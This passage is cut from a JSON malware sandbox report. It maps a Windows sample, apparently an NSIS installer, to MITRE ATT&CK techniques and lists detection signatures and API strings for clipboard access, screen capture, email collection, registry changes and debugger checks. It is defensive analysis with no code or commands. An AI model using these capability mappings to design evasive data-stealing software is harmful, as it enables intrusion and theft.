Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to test network connectivity (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"tactic":"Impact","technique":"Data Manipulation","attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]}],"sandbox_signatures":[{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with medium confidence","description":"\"Portable Executable (On Sensor) Model\" detected file as \"dirty\" with \"medium\" confidence","origin":"Static Analysis","id":"mlmodel-13","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (Cloud) detected file with medium confidence","description":"\"Portable Executable (Cloud) Model\" detected file as \"dirty\" with \"medium\" confidence","origin":"Static Analysis","id":"mlmodel-17","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$25","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-101","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1074.001","id":"string-423","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-161","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExA\" (Indicator: \"ShellExecute\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-240","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1564.003","id":"string-208","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-315","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-345","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationA\" (Indicator: \"SHFileOperation\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1564","id":"string-269","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"Software\\Microsoft\\Windows\\CurrentVersion\" in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-120","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.003","id":"string-206","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileExA\" (Indicator: \"MoveFile\"; Source: \"sample.bin\"), Found reference to API \"MoveFileA\" (Indicator: \"MoveFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1570","id":"string-322","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileExA\" (Indicator: \"MoveFileExA\"; Source: \"sample.bin\"), Found string \"MoveFileA\" (Indicator: \"MoveFileA\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-884","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-204","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExA\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-307","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-319","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"sample.bin\"), Found reference to API \"RemoveDirectoryA\" (Indicator: \"RemoveDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.004","id":"string-308","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"sample.bin\"), Found reference to API \"SeShutdownPrivilege\" (Indicator: \"SeShutdownPrivilege\"; Source: \"sample.bin\"), Found reference to API \"LookupPrivilegeValueA\" (Indicator: \"LookupPrivilegeValue\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134","id":"string-77","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteKeyA\" in \"sample.bin\", Found registry deletion API: \"RegDeleteKeyExA\" in \"sample.bin\", Found registry deletion API: \"RegDeleteValueA\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-230","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1098","id":"string-132","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesA\" (Indicator: \"SetFileAttributes\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1222","id":"string-426","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1489","id":"string-316","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileAttributesA\" (Indicator: \"GetFileAttributes\"; Source: \"sample.bin\"), Found reference to API \"GetSystemDirectoryA\" (Indicator: \"GetSystemDirectory\"; Source: \"sample.bin\"), Found reference to API \"GetFileSize\" (Indicator: \"GetFileSize\"; Source: \"sample.bin\"), Found reference to API \"GetFileVersionInfoSizeA\" (Indicator: \"GetFileVersionInfo\"; Source: \"sample.bin\"), Found reference to API \"GetFileVersionInfoSizeA\" (Indicator: \"GetFileVersionInfoSize\"; Source: \"sample.bin\"), Found reference to API \"GetTempPathA\" (Indicator: \"GetTempPath\"; Source: \"sample.bin\"), Found reference to API \"GetFileVersionInfoA\" (Indicator: \"GetFileVersionInfo\"; Source: \"sample.bin\"), Found reference to API \"SHGetSpecialFolderLocation\" (Indicator: \"SHGetSpecialFolderLocation\"; Source: \"sample.bin\"), Found reference to API \"GetTempFileNameA\" (Indicator: \"GetTempFileName\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-207","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-427","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-85","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExA\" in \"sample.bin\", Found registry query API: \"RegOpenKeyExA\" in \"sample.bin\", Found registry query API: \"RegEnumValueA\" in \"sample.bin\", Found registry query API: \"RegEnumKeyA\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-229","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; Source: \"sample.bin\"), Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-83","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-317","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.003","id":"string-205","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1113","id":"string-78","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-164","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-131","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1115","id":"string-188","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"SendMessageTimeoutA\" (Indicator: \"sendmessage\"; Source: \"sample.bin\"), Found reference to API \"SendMessageA\" (Indicator: \"sendmessage\"; Source: \"sample.bin\"), Found reference to API \"FindWindowExA\" (Indicator: \"findwindow\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.015","id":"string-721","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"sample.bin\"), Found reference to API \"GetDiskFreeSpaceExA\" (Indicator: \"GetDiskFreeSpaceEx\"; Source: \"sample.bin\"), Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-193","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1614.001","id":"string-143","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"ExpandEnvironmentStringsA\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-89","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.002","id":"string-661","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"FindWindowExA\" (Indicator: \"FindWindow\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1010","id":"string-141","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowExA\" (Indicator: \"FindWindowExA\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1010","id":"string-413","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersion\" (Indicator: \"GetVersion\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-171","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-312","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055","id":"string-92","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-304","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.006","id":"string-409","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.001","id":"string-318","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"SetTimer\" (Indicator: \"SetTimer\"; Source: \"sample.bin\"), Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.003","id":"string-226","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1564.003","id":"string-320","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134.001","id":"string-306","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1622","id":"string-183","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"http://nsis.sf.net/nsis_error\", Heuristic match: \"{v+-=.ac\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-310","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"InitiateShutdownA\" (Indicator: \"InitiateShutdown\"; Source: \"sample.bin\"), Found reference to API \"ExitWindowsEx\" (Indicator: 